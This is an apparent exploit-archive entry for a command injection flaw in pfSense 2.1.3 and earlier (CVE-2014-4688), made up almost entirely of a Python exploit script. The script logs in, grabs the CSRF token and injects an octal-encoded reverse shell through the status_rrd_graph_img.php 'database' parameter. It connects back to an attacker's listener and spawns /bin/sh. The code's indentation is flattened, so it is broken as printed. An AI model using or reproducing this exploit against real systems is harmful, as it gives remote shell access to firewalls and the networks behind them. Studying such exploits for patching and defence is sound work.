pfSense 2.1.3 status_rrd_graph_img.php Command Injection

pfSense versions 2.1.3 and below suffer from a status_rrd_graph_img.php command injection vulnerability.


MD5 | 0119ea7e4ed56c2dfa60e99cdbfcc55b

#!/usr/bin/env python3

# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688

import argparse
import requests
import urllib
import urllib3
import collections

'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password


# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)


payload = ""

# encode payload in octal
for char in command:
payload += ("\\" + oct(ord(char)).lstrip("0o"))

login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"

headers = [
('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Accept-Language', 'en-US,en;q=0.5'),
('Referer',login_url),
('Connection', 'close'),
('Upgrade-Insecure-Requests', '1'),
('Content-Type', 'application/x-www-form-urlencoded')
]

# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)

# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

client = requests.session()

# try to get the login page and grab the csrf token
try:
login_page = client.get(login_url, verify=False)

index = login_page.text.find("csrfMagicToken")
csrf_token = login_page.text[index:index+128].split('"')[-1]

except:
print("Could not connect to host!")
exit()

# format login variables and data
if csrf_token:
print("CSRF token obtained")
login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
login_data = collections.OrderedDict(login_data)
encoded_data = urllib.parse.urlencode(login_data)

# POST login request with data, cookies and header
login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
print("No CSRF token!")
exit()

if login_request.status_code == 200:
print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
try:
exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
if exploit_request.status_code:
print("Error running exploit")
except:
print("Exploit completed")



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